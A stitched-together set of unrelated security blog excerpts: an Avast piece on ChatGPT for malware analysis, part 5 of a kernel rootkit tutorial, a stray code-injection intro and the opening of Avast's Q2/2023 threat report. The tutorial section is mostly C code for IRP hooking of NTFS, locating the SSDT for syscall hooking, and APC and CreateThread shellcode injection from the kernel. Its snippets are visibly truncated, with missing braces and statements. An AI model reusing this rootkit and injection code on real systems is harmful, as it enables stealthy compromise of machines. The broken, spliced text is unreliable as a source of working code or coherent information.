To better understand and defend against malicious threats, security analysts can use ChatGPT to request an explanation of a specific portion of code. Below, we can see an example–the code provided is that of a malicious SocGholish (FakeUpdate) landing page. When asked for an explanation of the code, ChatGPT was able to provide some insights into the function of the code’s specific fields.

This functionality can be useful both for analysts to learn new things and to point them in the appropriate direction in their studies.  

In a second example, ChatGPT delivered an explanation of a PowerShell script. The query attached to the code snippet was simply “explain”, which proved to be sufficient.

Image credit: Twitter
Image credit: Twitter 

In this scenario, ChatGPT didn’t provide a conclusion about what the script actually does. However, a junior researcher can use this output as a starting point to query for further details of what they don’t know. 

As with many evolving technologies, this approach isn’t bulletproof–while ChatGPT often can point analysts in the right direction, it can also do the complete opposite in certain cases. At the end of the day, analysts should maintain a critical eye of ChatGPT’s output and verify the content.  

It is important to mention that there is a limit to the size of the input, so defenders might need to analyze the code in parts. We can, however, expect this limitation will likely be much less noticeable in the future.

Deobfuscating and beautifying simpler scripts 

When prompted, ChatGPT can try to deobfuscate scripts that analysts provide. It can handle simpler obfuscators and beautify the output, making it more accessible to the analyst. 

For example, below is the deobfuscated script from the FakeUpdate example given in the previous subsection. 

The analyst can already see some artifacts that they might find useful–this can make the analysis much faster.

Pricing and privacy concerns 

These are two important aspects of using huge language models: Privacy and price. Privacy concerns stem from the fact that many online models use submitted data for further training, which can in some cases lead to internal company data leaks (as was the case with Samsung). For use cases in the security industry, one would often need to submit a part of code or an email for the AI to be able to provide insights. This could also lead to data leaks and isn’t acceptable. 

The second concern is price: According to estimates, running ChatGPT can cost the company as much as $700,000 each day. While this cost is likely quite high given the current popularity of LLMs and the resulting high volume of queries and inferences, it shows that running such models in-house to avoid privacy concerns is cost-prohibitive. Running these models requires high-performance graphics cards, which have recently been quite hard to come by and, in turn, significantly more expensive than their regular suggested price. 

Using an API access might not be cheap either. While testing several AI assistants, we’ve noticed that especially with larger inputs where additional data is provided (like pentesting assistants), the cost of operation raises very steeply, and the maturity of these tools just doesn’t balance the cost yet. 

Looking toward the foreseeable future, we expect to see significant cost reductions once tailor-made hardware has been developed and computational optimizations (like 8-bit matrix multiplication) are implemented to reduce the need for high-performance hardware. 

AI can hallucinate too! 

One big issue that we’ve encountered during our testing is that the models have the tendency to come up with responses that are simply untrue. This phenomenon is called hallucination.  

Take this example: In the following interaction, we asked for a vulnerability assessment. The model correctly identifies the type of vulnerability, but it points to a wrong function that causes it and makes up a couple of vulnerabilities that aren’t there at all. 

The same can be said for code generation–while code may look correct and run successfully, in some cases, it might not provide the correct results. For instance, we asked the model to generate code to pull articles from multiple subsites in WordPress. The model created a code that looked good at first sight and used the correct functions but didn’t work correctly. We only discovered the problems after putting the code into our staging environment and thoroughly testing it. This ended up being quite a tedious and time-consuming task, as finding bugs in somebody else’s code can become much harder than writing the code from the ground up. 

We expect more domain-specific LLMs to pop up in the future aiming at lowering hallucinations / false positives by being specifically trained for a particular use case. 

Staying safe

With the exponential growth of ChatGPT’s popularity, it’s no surprise that malicious actors have capitalized on its name to create scams or started using it with malicious intends in mind. However, there are a few tips to protect yourself and stay safer online: 

  • Beware of offers that are too good to be true: If an offer seems too good to be true, it most likely is.  
  • Verify the publisher and reviews: Always check the source and authenticity of the app or extension. Be suspicious of ratings that are only 5* and 1*, and reviews that look similar or are constructed in a similar way within a short period of time. 
  • Know the product you want to use: OpenAI offers the basic version of ChatGPT for free (after registration) on the official website. Any offer that contradicts this should be treated with caution. 
  • Avoid cracked software: Cracked or pirated software is a common method used by bad actors to distribute malware. 
  • Report suspicious activity: If you encounter a suspicious ad, application, or browser extension, use the report button to inform the provider. 
  • Keep your software updated: Make sure all your software, including your antivirus, is always up to date. 
  • Trust your cybersecurity provider: Avast is here to protect you no matter what you do online. We’re continuously working with our users to protect them against the latest threats. Report a malicious sample or false positive on our website. 
  • Educate yourself: There are many new articles every day about currently used and emerging cyber threats. 

The rise of AI technologies like ChatGPT has unfortunately brought with it an increase in scams and cybersecurity threats. However, with awareness, vigilance, and the right cybersecurity tools in place, users can protect themselves and continue to enjoy the benefits of these advanced technologies. Stay safe in the digital world! 

The post Insights into the AI-based cyber threat landscape appeared first on Avast Threat Labs.

Lord Of The Ring0 - Part 5 | Saruman’s Manipulation

star fork follow


In the last blog post, we learned about the different types of kernel callbacks and created our registry protector driver.

In this blog post, I’ll explain two common hooking methods (IRP Hooking and SSDT Hooking) and two different injection techniques from the kernel to the user mode for both shellcode and DLL (APC and CreateThread) with code snippets and examples from Nidhogg.

IRP Hooking

Side note: This topic (and more) was also covered in my talk “(Lady)Lord Of The Ring0” - feel free to check that out!

IRP Reminder

This is a quick reminder from the 2nd part, if you remember what IRP is you can skip to the next section.

“An I/O request packet (IRP) is the basic I/O manager structure used to communicate with drivers and to allow drivers to communicate with each other. A packet consists of two different parts:

  • Header, or fixed part of the packet — This is used by the I/O manager to store information about the original request.
  • I/O stack locations — Stack location contains the parameters, function codes, and context used by the corresponding driver to determine what it is supposed to be doing.” - Microsoft Docs.

In simple words, IRP allows kernel developers to communicate either from user mode to kernel mode or from one kernel driver to another. Each time a certain IRP is sent, the corresponding function in the dispatch table is executed. The dispatch table (or MajorFunction) is a member inside the DRIVER_OBJECT that contains the mapping between the IRP and the function that should handle the IRP. The general signature for a function that handles IRP is:


To handle an IRP, the developer needs to add their function to the MajorFunction table as follows:

DriverObject->MajorFunction[IRP_CODE] = IrpHandler;

Several notable IRPs (some of them we used previously in this series) are:

  • IRP_MJ_DEVICE_CONTROL - Used to handle communication with the driver.

  • IRP_MJ_CREATE - Used to handle Zw/NtOpenFile calls to the driver.

  • IRP_MJ_CLOSE - Used to handle (among other things) Zw/NtClose calls to the driver.

  • IRP_MJ_READ - Used to handle Zw/NtReadFile calls to the driver.

  • IRP_MJ_WRITE - Used to handle Zw/NtWriteFile calls to the driver.

Implementing IRP Hooking

IRP hooking is very similar to IAT hooking in a way, as both of them are about replacing a function in a table and deciding whether to call the original function or not (usually, the original function will be called).

In IRP hooking the malicious driver replaces an IRP handler of another driver with their handler. A common example is to hook the IRP_MJ_CREATE handler of the NTFS driver to prevent file opening.

As an example, I will show the NTFS IRP_MJ_CREATE hook from Nidhogg:

NTSTATUS InstallNtfsHook(int irpMjFunction) {
    UNICODE_STRING ntfsName;
    PDRIVER_OBJECT ntfsDriverObject;

    RtlInitUnicodeString(&ntfsName, L"\\FileSystem\\NTFS");
    status = ObReferenceObjectByName(&ntfsName, OBJ_CASE_INSENSITIVE, NULL, 0, *IoDriverObjectType, KernelMode, NULL, (PVOID*)&ntfsDriverObject);

    if (!NT_SUCCESS(status)) {
        KdPrint((DRIVER_PREFIX "Failed to get ntfs driver object, (0x%08X).\n", status));
        return status;

    switch (irpMjFunction) {
        case IRP_MJ_CREATE: {
            // Saving the original IRP handler into a callback array.
            Callbacks[0].Address = (PVOID)InterlockedExchange64((LONG64*)&ntfsDriverObject->MajorFunction[IRP_MJ_CREATE], (LONG64)HookedNtfsIrpCreate);
            Callbacks[0].Activated = true;
            KdPrint((DRIVER_PREFIX "Switched addresses\n"));
            status = STATUS_NOT_SUPPORTED;

    return status;

The first thing that is needed to be done when doing an IRP hooking is to obtain the DriverObject because it stores the MajorFunction table (as mentioned before), this can be done with the ObReferenceObjectByName and the symbolic link to NTFS.

When the DriverObject is achieved, it is just a matter of overwriting the original value of IRP_MJ_CREATE with InterlockedExchange64 (NOTE: InterlockedExchange64 was used and not simply overwriting to make sure the function is not currently in used to prevent potential BSOD and other problems).

Hooking IRPs in 2023

Although this is a nice method, there is one major problem that holding kernel developers from using this method - Kernel Patch Protection (PatchGuard). As you can see here when PatchGuard detects that the IRP function is changed, it triggers a BSOD with CRITICAL_STRUCTURE_CORRUPTION error code.

While bypassing this is possible with projects like this one it is beyond the scope of this series.

SSDT Hooking

What is SSDT

SSDT (System Service Descriptor Table) is an array that contains the mapping between the syscall and the corresponding function in the kernel. The SSDT is accessible via nt!KiServiceTable in WinDBG or can be located dynamically via pattern searching.

The syscall number is the index to the relative offset of the function and is calculated as follows: functionAddress = KiServiceTable + (KiServiceTable[syscallIndex] >> 4).

Implementing SSDT Hooking

SSDT hooking is when a malicious program changes the mapping of a certain syscall to point to its function. For example, an attacker can modify the NtCreateFile address in the SSDT to point to their own malicious NtCreateFile. To do that, several steps need to be made:

  • Find the address of SSDT.
  • Find the address of the wanted function in the SSDT by its syscall.
  • Change the entry in the SSDT to point to the malicious function.

To find the address of SSDT by pattern I will use the code below (the code has been modified a bit for readability, you can view the unmodified version here):

    ULONG infoSize;
    PVOID ssdtRelativeLocation = NULL;
    PVOID ntoskrnlBase = NULL;
    UCHAR pattern[] = "\x4c\x8d\x15\xcc\xcc\xcc\xcc\x4c\x8d\x1d\xcc\xcc\xcc\xcc\xf7";

    // Getting ntoskrnl base.
    status = ZwQuerySystemInformation(SystemModuleInformation, NULL, 0, &infoSize);

    // ...

    PRTL_PROCESS_MODULE_INFORMATION modules = info->Modules;

    for (ULONG i = 0; i < info->NumberOfModules; i++) {
        if (NtCreateFile >= modules[i].ImageBase && NtCreateFile < (PVOID)((PUCHAR)modules[i].ImageBase + modules[i].ImageSize)) {
            ntoskrnlBase = modules[i].ImageBase;

    // ...

    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)ntoskrnlBase;

    // Finding the SSDT address.
    status = STATUS_NOT_FOUND;
    if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE)
        goto CleanUp;

    PFULL_IMAGE_NT_HEADERS ntHeaders = (PFULL_IMAGE_NT_HEADERS)((PUCHAR)ntoskrnlBase + dosHeader->e_lfanew);

    if (ntHeaders->Signature != IMAGE_NT_SIGNATURE)
        goto CleanUp;

    PIMAGE_SECTION_HEADER firstSection = (PIMAGE_SECTION_HEADER)(ntHeaders + 1);

    for (PIMAGE_SECTION_HEADER section = firstSection; section < firstSection + ntHeaders->FileHeader.NumberOfSections; section++) {
        if (strcmp((const char*)section->Name, ".text") == 0) {
            ssdtRelativeLocation = FindPattern(pattern, 0xCC, sizeof(pattern) - 1, (PUCHAR)ntoskrnlBase + section->VirtualAddress, section->Misc.VirtualSize, NULL, NULL);

            if (ssdtRelativeLocation) {
                status = STATUS_SUCCESS;
                ssdt = (PSYSTEM_SERVICE_DESCRIPTOR_TABLE)((PUCHAR)ssdtRelativeLocation + *(PULONG)((PUCHAR)ssdtRelativeLocation + 3) + 7);

    if (info)
        ExFreePoolWithTag(info, DRIVER_TAG);
    return status;

The code above is finding ntoskrnl base based on the location of NtCreateFile. After the base of ntoskrnl was achieved all is left to do is to find the pattern within the .text section of it. The pattern gives the relative location of the SSDT and with a simple calculation based on the relative offset the location of the SSDT is achieved.

To find a function, all there needs to be done is to find the syscall of the desired function (alternatively a hardcoded syscall can be used as well but it is bad practice for forward compatibility) and then access the right location in the SSDT (as mentioned here).

PVOID GetSSDTFunctionAddress(CHAR* functionName) {
    KAPC_STATE state;
    PEPROCESS CsrssProcess = NULL;
    PVOID functionAddress = NULL;
    ULONG infoSize = 0;
    ULONG index = 0;
    UCHAR syscall = 0;
    HANDLE csrssPid = 0;
    NTSTATUS status = ZwQuerySystemInformation(SystemProcessInformation, NULL, 0, &infoSize);

    // ...

    // Iterating the processes information until our pid is found.
    while (info->NextEntryOffset) {
        if (info->ImageName.Buffer && info->ImageName.Length > 0) {
            if (_wcsicmp(info->ImageName.Buffer, L"csrss.exe") == 0) {
                csrssPid = info->UniqueProcessId;
        info = (PSYSTEM_PROCESS_INFO)((PUCHAR)info + info->NextEntryOffset);

    if (csrssPid == 0)
        goto CleanUp;
    status = PsLookupProcessByProcessId(csrssPid, &CsrssProcess);

    if (!NT_SUCCESS(status))
        goto CleanUp;

    // Attaching to the process's stack to be able to walk the PEB.
    KeStackAttachProcess(CsrssProcess, &state);
    PVOID ntdllBase = GetModuleBase(CsrssProcess, L"C:\\Windows\\System32\\ntdll.dll");

    if (!ntdllBase) {
        goto CleanUp;
    PVOID ntdllFunctionAddress = GetFunctionAddress(ntdllBase, functionName);

    if (!ntdllFunctionAddress) {
        goto CleanUp;

    // Searching for the syscall.
    while (((PUCHAR)ntdllFunctionAddress)[index] != RETURN_OPCODE) {
        if (((PUCHAR)ntdllFunctionAddress)[index] == MOV_EAX_OPCODE) {
            syscall = ((PUCHAR)ntdllFunctionAddress)[index + 1];

    if (syscall != 0)
        functionAddress = (PUCHAR)ssdt->ServiceTableBase + (((PLONG)ssdt->ServiceTableBase)[syscall] >> 4);

    if (CsrssProcess)

    if (originalInfo) {
        ExFreePoolWithTag(originalInfo, DRIVER_TAG);
        originalInfo = NULL;

    return functionAddress;

The code above is finding csrss (a process that will always run and has ntdll) loaded and finding the location of the function inside ntdll. After it finds the location of the function inside ntdll, it searches for the last mov eax, [variable] pattern to make sure it finds the syscall number. When the syscall number is known, all there is needs to be done is to find the function address with the SSDT.

Hooking The SSDT in 2023

This method was abused heavily by rootkit developers and Antimalware developers alike in the golden area of rootkits. The reason this method is no longer used is because PatchGuard monitors SSDT changes and crashes the machine if a modification is detected.

While this method cannot be used in modern systems without tampering with PatchGuard, throughout the years developers found other ways to hook syscalls as substitution.

APC Injection

Explaining how APCs work is beyond the scope of this series, which is why I recommend reading Repnz’s series about APCs.

To inject a shellcode into a user mode process with an APC several conditions need to be met:

  • The thread should be alertable.
  • The shellcode should be accessible from the user mode.
NTSTATUS InjectShellcodeAPC(ShellcodeInformation* ShellcodeInfo) {
    CLIENT_ID cid{};
    HANDLE hProcess = NULL;
    PEPROCESS TargetProcess = NULL;
    PETHREAD TargetThread = NULL;
    PKAPC ShellcodeApc = NULL;
    PKAPC PrepareApc = NULL;
    PVOID shellcodeAddress = NULL;
    SIZE_T shellcodeSize = ShellcodeInfo->ShellcodeSize;

    HANDLE pid = UlongToHandle(ShellcodeInfo->Pid);
    status = PsLookupProcessByProcessId(pid, &TargetProcess);

    if (!NT_SUCCESS(status))
        goto CleanUp;

    // Find APC suitable thread.
    status = FindAlertableThread(pid, &TargetThread);

    if (!NT_SUCCESS(status) || !TargetThread) {
        if (NT_SUCCESS(status))
            status = STATUS_NOT_FOUND;
        goto CleanUp;

    // Allocate and write the shellcode.
    InitializeObjectAttributes(&objAttr, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
    cid.UniqueProcess = pid;
    cid.UniqueThread = NULL;

    status = ZwOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &objAttr, &cid);

    if (!NT_SUCCESS(status))
        goto CleanUp;

    status = ZwAllocateVirtualMemory(hProcess, &shellcodeAddress, 0, &shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READ);

    if (!NT_SUCCESS(status))
        goto CleanUp;
    shellcodeSize = ShellcodeInfo->ShellcodeSize;

    status = KeWriteProcessMemory(ShellcodeInfo->Shellcode, TargetProcess, shellcodeAddress, shellcodeSize, UserMode);

    if (!NT_SUCCESS(status))
        goto CleanUp;

    // Create and execute the APCs.
    ShellcodeApc = (PKAPC)ExAllocatePoolWithTag(NonPagedPool, sizeof(KAPC), DRIVER_TAG);
    PrepareApc = (PKAPC)ExAllocatePoolWithTag(NonPagedPool, sizeof(KAPC), DRIVER_TAG);

    if (!ShellcodeApc || !PrepareApc) {
        status = STATUS_UNSUCCESSFUL;
        goto CleanUp;

    // VOID PrepareApcCallback(PKAPC Apc, PKNORMAL_ROUTINE* NormalRoutine, PVOID* NormalContext, PVOID* SystemArgument1, PVOID* SystemArgument2) {
    // UNREFERENCED_PARAMETER(SystemArgument1);
    // UNREFERENCED_PARAMETER(SystemArgument2);

    // KeTestAlertThread(UserMode);
    // ExFreePoolWithTag(Apc, DRIVER_TAG);
    // }
    KeInitializeApc(PrepareApc, TargetThread, OriginalApcEnvironment, (PKKERNEL_ROUTINE)PrepareApcCallback, NULL, NULL, KernelMode, NULL);

    // VOID ApcInjectionCallback(PKAPC Apc, PKNORMAL_ROUTINE* NormalRoutine, PVOID* NormalContext, PVOID* SystemArgument1, PVOID* SystemArgument2) {
    // UNREFERENCED_PARAMETER(SystemArgument1);
    // UNREFERENCED_PARAMETER(SystemArgument2);

    // if (PsIsThreadTerminating(PsGetCurrentThread()))
    //     *NormalRoutine = NULL;

    // ExFreePoolWithTag(Apc, DRIVER_TAG);
    // }
    KeInitializeApc(ShellcodeApc, TargetThread, OriginalApcEnvironment, (PKKERNEL_ROUTINE)ApcInjectionCallback, NULL, (PKNORMAL_ROUTINE)shellcodeAddress, UserMode, ShellcodeInfo->Parameter1);

    if (!KeInsertQueueApc(ShellcodeApc, ShellcodeInfo->Parameter2, ShellcodeInfo->Parameter3, FALSE)) {
        status = STATUS_UNSUCCESSFUL;
        goto CleanUp;

    if (!KeInsertQueueApc(PrepareApc, NULL, NULL, FALSE)) {
        status = STATUS_UNSUCCESSFUL;
        goto CleanUp;

    if (PsIsThreadTerminating(TargetThread))

    if (!NT_SUCCESS(status)) {
        if (shellcodeAddress)
            ZwFreeVirtualMemory(hProcess, &shellcodeAddress, &shellcodeSize, MEM_DECOMMIT);
        if (PrepareApc)
            ExFreePoolWithTag(PrepareApc, DRIVER_TAG);
        if (ShellcodeApc)
            ExFreePoolWithTag(ShellcodeApc, DRIVER_TAG);

    if (TargetProcess)

    if (hProcess)

    return status;

The code above opens a target process, search for a thread that can be alerted (can be done by examining the thread’s MiscFlags Alertable bit and the thread’s ThreadFlags’s GUI bit, if a thread is alertable and isn’t GUI related it is suitable).

If the thread is suitable, two APCs are initialized, one for alerting the thread and another one to clean up the memory and execute the shellcode.

After the APCs are initialized, they are queued - first, the APC that will clean up the memory and execute the shellcode and later the APC that is alerting the thread to execute the shellcode.

CreateThread Injection

Injecting a thread into a user mode process from the kernel is similar to injecting from a user mode with the main difference being that there are sufficient privileges to create another thread inside that process. That can be achieved easily by changing the calling thread’s previous mode to KernelMode and restoring it once the thread has been created.

NTSTATUS InjectShellcodeThread(ShellcodeInformation* ShellcodeInfo) {
    CLIENT_ID cid{};
    HANDLE hProcess = NULL;
    HANDLE hTargetThread = NULL;
    PEPROCESS TargetProcess = NULL;
    PVOID remoteAddress = NULL;
    SIZE_T shellcodeSize = ShellcodeInfo->ShellcodeSize;
    HANDLE pid = UlongToHandle(ShellcodeInfo->Pid);
    NTSTATUS status = PsLookupProcessByProcessId(pid, &TargetProcess);

    if (!NT_SUCCESS(status))
        goto CleanUp;

    InitializeObjectAttributes(&objAttr, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
    cid.UniqueProcess = pid;
    cid.UniqueThread = NULL;

    status = ZwOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &objAttr, &cid);

    if (!NT_SUCCESS(status))
        goto CleanUp;

    status = ZwAllocateVirtualMemory(hProcess, &remoteAddress, 0, &shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READ);

    if (!NT_SUCCESS(status))
        goto CleanUp;
    shellcodeSize = ShellcodeInfo->ShellcodeSize;

    status = KeWriteProcessMemory(ShellcodeInfo->Shellcode, TargetProcess, remoteAddress, shellcodeSize, UserMode);

    if (!NT_SUCCESS(status))
        goto CleanUp;

    // Making sure that for the creation the thread has access to kernel addresses and restoring the permissions right after.
    InitializeObjectAttributes(&objAttr, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
    PCHAR previousMode = (PCHAR)((PUCHAR)PsGetCurrentThread() + THREAD_PREVIOUSMODE_OFFSET);
    CHAR tmpPreviousMode = *previousMode;
    *previousMode = KernelMode;
    status = NtCreateThreadEx(&hTargetThread, THREAD_ALL_ACCESS, &objAttr, hProcess, (PTHREAD_START_ROUTINE)remoteAddress, NULL, 0, NULL, NULL, NULL, NULL);
    *previousMode = tmpPreviousMode;

    if (hTargetThread)

    if (!NT_SUCCESS(status) && remoteAddress)
        ZwFreeVirtualMemory(hProcess, &remoteAddress, &shellcodeSize, MEM_DECOMMIT);

    if (hProcess)

    if (TargetProcess)

    return status;

Unlike the APC injection, the steps here are simple: After the process has been opened and the shellcode was allocated and written to the target process, changing the current thread’s mode to KernelMode and calling NtCreateThreadEx to create a thread inside the target process and restoring it to the original previous mode right after.


In this blog, we learned about the different types of kernel callbacks and created our registry protector driver.

In the next blog, we will learn how to patch user mode memory from the kernel and write a simple driver that can perform AMSI bypass to demonstrate, how to hide ports and how to dump credentials from the kernel.

I hope that you enjoyed the blog and I’m available on Twitter, Telegram and by Mail to hear what you think about it! This blog series is following my learning curve of kernel mode development and if you like this blog post you can check out Nidhogg on GitHub.

Run My Code! (code injection on Windows)

The first time I realized it was possible to get a process to run some extra little code I had written, it felt like the ultimate cheat code. My first attempt was a little patch for Civilization 2 to fix some high CPU usage. Then I discovered that you could inject code at run-time. And when I discovered the ability to change how OS functions worked, it started to feel like I could do anything!

Avast Q2/2023 Threat Report

Unveiling the Dominance of Scams Amidst a 24% Surge in Blocked Attacks


This quarter has been nothing short of extraordinary, with cyber-threat activity reaching its highest point in the past three years. We take this opportunity to offer you insights into the challenges we encountered in safeguarding our users against all these malicious threats. 

In Q2/2023, our detection telemetry revealed a significant increase in overall cyber-threat risk. The risk ratio, reflecting the proportion of users protected from cyber threats out of all our protected users, rose by 13% quarter-on-quarter, reaching a concerning 27.6%. Moreover, the volume of unique blocked attacks surged by 24% over the same period, resulting in an average of close to 700 million unique blocked attacks each month. 

During the quarter, we observed a notable shift in threat trends. While traditional consumer-focused cyber threats saw a slight decline, there was a dramatic surge in social engineering and web-related threats, such as scams, phishing, and malvertising. These threats accounted for more than 75% of our overall detections on desktops during the quarter, with scams alone contributing to 51% of the total detections.

The prevalence of malvertising and malicious browser push notifications have also witnessed a dramatic increase, along with the proliferation of dating scams and extortion emails. More detailed information on these emerging threats can be found in the subsequent sections of this report. 

While adware exhibited a slight decline in prevalence, it continues to persist across desktop, mobile, and browser platforms. One notable example is the HiddenAds campaign, which resurfaced on the Google Play Store and amassed tens of millions of downloads during its reign. 

Another noteworthy observation was the discovery of the Mustang Panda APT group’s attempt to infiltrate and infect TP-Link routers through compromised firmware. We also closely monitored the progress of the DDosia project, witnessing participants of this threat group targeting the Wagner Group infrastructure in response of its ephemeral rebellion in Russia. 

Malicious coinminers, while experiencing a slight decline, posed unique challenges for its authors due to the shift from proof-of-work to proof-of-stake schema that recently happened in many cryptocurrencies. And some of the malware authors struggled to adapt, leading to the observed decrease in coinminer prevalence during this quarter. Our researchers also discovered HotRat in the wild, a .NET reimplementation of AsyncRat, featuring numerous new commands and features.  

In addition, I am pleased to highlight another significant achievement by our researchers. Avast’s discovery of CVE-2023-29336, a local privilege escalation vulnerability targeting win32k in the Windows kernel, led to a prompt patch in the May Patch Tuesday security update. While we shared a proof-of-concept exploit with Microsoft, we have responsibly withheld public disclosure of technical details to prioritize user safety. 

However, ransomware remains an ongoing concern. Despite a slight decline in prevalence, ransomware authors persist in targeting victims, relying increasingly on targeted attacks and exploits to penetrate company networks. Notably, successful attacks on widely used software, such as PaperCut and MOVEit, underscore the evolving tactics of ransomware operators, who more than ever experiment with encryption-less extortion techniques and doxing. 

On a positive note, we are pleased to share that our efforts have led to the development of a free decryption tool for Akira Ransomware. This tool has already assisted numerous victims of ransomware attacks in restoring their files and businesses, further solidifying our commitment to providing solutions and assistance to those in need. 

Thank you for reading and placing your trust in Avast. Stay safe and secure. 

Jakub Křoustek, Malware Research Director


This report is structured into two main sections: Desktop-related threats, where we describe our intelligence around attacks targeting the Windows, Linux, and Mac operating systems, with a specific emphasis on web-related threats, and Mobile-related threats, where we describe the attacks focusing on Android and iOS operating systems. 

We use the term “risk ratio” in this report to denote the severity of specific threats. It is calculated as a monthly average of “Number of attacked users / Number of active users in a given country.” Unless stated otherwise, calculated risks are only available for countries with more than 10,000 active users per month. 

A blocked attack is defined as a unique combination of the protected user and a blocked threat identifier within the specified time frame. 

In this report, we also slightly redefined the “Information Stealers” malware category. Moving forward, this category will encompass the following malware types: banking trojans, keylogger, password stealers (also known as pws), spyware, clipper, cryptostealer, exfilware, stalkerware, and webskimming. We also recalculated the related statistics so that we can provide you with the correct comparisons with the previous quarters. 

Featured Story: The Rise of Scams 

Scams, much like the many forms of deception and trickery that preceded them, have always been an inherent part of the human experience. In a digital era where information is largely exchanged through the Internet, these acts of deceit have found a fertile ground to evolve and proliferate, posing a significant threat to online safety. 

Scams have transitioned from the physical to the digital world with alarming ease, leveraging the anonymity and expansive reach provided by the Internet. Today’s scams employ a wide array of sophisticated tactics that range from financial and charity scams to online dating scams and deceptive advertising. The mechanisms may vary, but the end goal remains the same – to deceive unsuspecting individuals into revealing sensitive information or parting with their hard-earned money. 

Furthermore, a related threat type, Phishing, accounted for another 25% of all threats. Phishing attempts often masquerade as legitimate requests for information, typically from a well-known and trusted entity such as a bank or a government agency. They prey on human instincts of trust and urgency, compelling victims to divulge confidential information or engage in financial transactions under false pretenses. 

The rapid evolution of technology has led cybercriminals to adapt and innovate. They have harnessed AI tools to craft nearly flawless imitations of legitimate communication, making it increasingly difficult for individuals to differentiate between what is real and what isn’t. Furthermore, the adoption of smishing – or phishing through SMS – has capitalized on the high open rates and inherent trust individuals place in text messages. 

The data from Q2/2023 signifies a shift in the cybersecurity landscape. Threat actors are opting for the psychological manipulation afforded by scams and phishing rather than the technical exploits found in traditional malware attacks. As a result, our defense must adapt, focusing not just on improving technological measures but also on building awareness and promoting skepticism toward unsolicited communication. 

In March we uncovered a new Instagram scam using fake SHEIN gift cards as lure. During Q2, we have found that the scammers are widening their operations, covering more countries such as Israel. They have also evolved and moved on from fake SHEIN gift cards to a maybe more appealing iPhone 14 targeting users in Mexico and Spain, such as the example below. 

Recent scam utilizing Apple iPhones as lure in Spain and Mexico

The outcome remains the same: victims never receive the promised price; instead, they find themselves subscribed to an unfamiliar service they have no knowledge of. 

During these past three months, we have documented other scams as well. Avast Threat Labs identified a new data extortion scam targeting companies via email, seemingly from a ransomware or data extortion cyber gang. The emails, addressed to employees by their full names, claim a security breach has occurred, with a significant amount of company information stolen, including employee records and personal data. Senders purport to be from ransomware groups like “Silent Ransom” or “Lockffit.” The emails press employees to notify their managers about the situation, threatening to sell the stolen data if ignored, and remind the recipients about the regulatory penalties of data breaches. 

However, these communications appear to be more scare tactics than actual extortion campaigns following a data breach. It’s an effort to intimidate decision-makers into paying to prevent further consequences like having their data sold or facing potential regulatory fines. There’s no offered proof of the breach other than possession of the recipient’s email and name. Avast has captured identical scam messages targeting different organizations, merely changing details like the recipient’s name, the contact email, the supposed amount of stolen data, and even the alleged cybercriminal group. This modus operandi points to semi-automated attacks using a list of targets, akin to sextortion tactics. 

In fact, this quarter a new sextortion campaign was uncovered by Avast. Sextortion scams are email-based cyberattacks where the scammers claim to have taken control of your system, often saying they have recorded your activities through your device’s cameras and demanding payment to keep your privacy intact. The scammers capitalize on the victim’s fear and embarrassment, hoping for quick payment to avoid potential exposure. 

One of the nastiest scams we have detected is this disturbing crowdfunding scheme exploiting public generosity. The scam involves a series of emotionally charged video ads, narrating the story of a cancer-stricken child named “Semion,” soliciting urgent financial aid for his treatment. These videos, primarily in Russian with multilingual subtitles, have been shared on platforms like YouTube and Instagram, eliciting significant monetary donations from empathetic viewers directed towards a donation page offering multiple payment methods. 

Amidst these rising threats, it is essential to remember the fundamental rule of the Internet: trust, but verify. The shift towards a more scam-dominant threat landscape emphasizes the importance of digital literacy and security awareness for consumers. 

In conclusion, the surge in scams and phishing incidents during Q2/2023 underscores a shifting threat landscape that demands adaptable, well-informed, and proactive cybersecurity measures. The cornerstone of these measures must be comprehensive education and awareness initiatives designed to empower users in recognizing and effectively responding to these deceptive and damaging attacks. 

Luis Corrons, Security Evangelist

Desktop-Related Threats 

Advanced Persistent Threats (APTs) 

An Advanced Persistent Threat (APT) is a type of cyberattack that is carried out by highly skilled and determined hackers who have the resources and expertise to penetrate a target’s network and maintain a long-term presence undetected. 

Avast researchers have been diligently monitoring the activities of the notorious hacking group Mustang Panda and their exfiltration server. During our investigation, a significant development emerged when the researchers discovered several new binaries on the server, one of which being a malicious firmware image that was customized for targeting TP-Link routers. This firmware image turned out to be laden with malevolent components, among them a particularly troublesome custom MIPS32 ELF implant. 

Remote commands execution functionality found in Mustang Panda’s malicious firmware image 

The implications of this custom implant are unsettling, as it affords the attacker three key functionalities. First, the attackers can execute arbitrary shell commands remotely on the infected router, granting them substantial control over the device from a distance. Secondly, the implant facilitates file transfer to and from the infected router, providing a means for the attackers to upload and download files which could lead to data theft or the dissemination of harmful payloads. Finally, the implant enables SOCKS protocol tunnelling, serving as a communication relay between different clients, further masking the attacker’s identity and complicating their detection. The method used by the attacker to infect the router devices with the malevolent implant remains unknown. Overall, the threat group continues its operation in multiple countries including Hong Kong, Vietnam, Philippines continuously testing new techniques and malware. Simultaneously, they utilize well known tools such as Korplug and Cobalt Strike. 

Lazarus, another infamous group notorious for their involvement in numerous high-profile cyberattacks, has carried out a fresh social engineering campaign this quarter. Their targets are blockchain-related developers, enticed through deceptive job assessments as a means to introduce malware. This strategy aims to compromise developers, potentially leading to significant security breaches and data compromises. 

The Gamaredon APT group is demonstrating persistence in pursuing their malicious objectives, with Ukrainian institutions remaining a primary focus of their cyber-espionage operations. The group has a history of launching sophisticated attacks against government entities, military organizations, and critical infrastructure within Ukraine. Their modus operandi involves using spear-phishing emails, malicious documents, and social engineering techniques. 

DoNot APT remains actively engaged in targeting the Pakistan government and military. We have identified a series of phishing emails containing LNK files to deliver the payload. 

Luigino Camastra, Malware Researcher
Igor Morgenstern, Malware Researcher


Adware is considered unwanted if installed without the user’s consent, tracks browsing behavior, redirects web traffic, or collects personal information for malicious purposes such as identity theft. 

Compared to last quarter, we have seen the beginning of a downward trend in desktop adware in Q2/2023, as the graph below illustrates. In the next quarter, we will see if this is a long-term trend or just a seasonal fluctuation since we did not notice any significant adware campaigns in this quarter. 

Global Avast risk ratio from desktop adware for Q1/2023 and Q2/2023

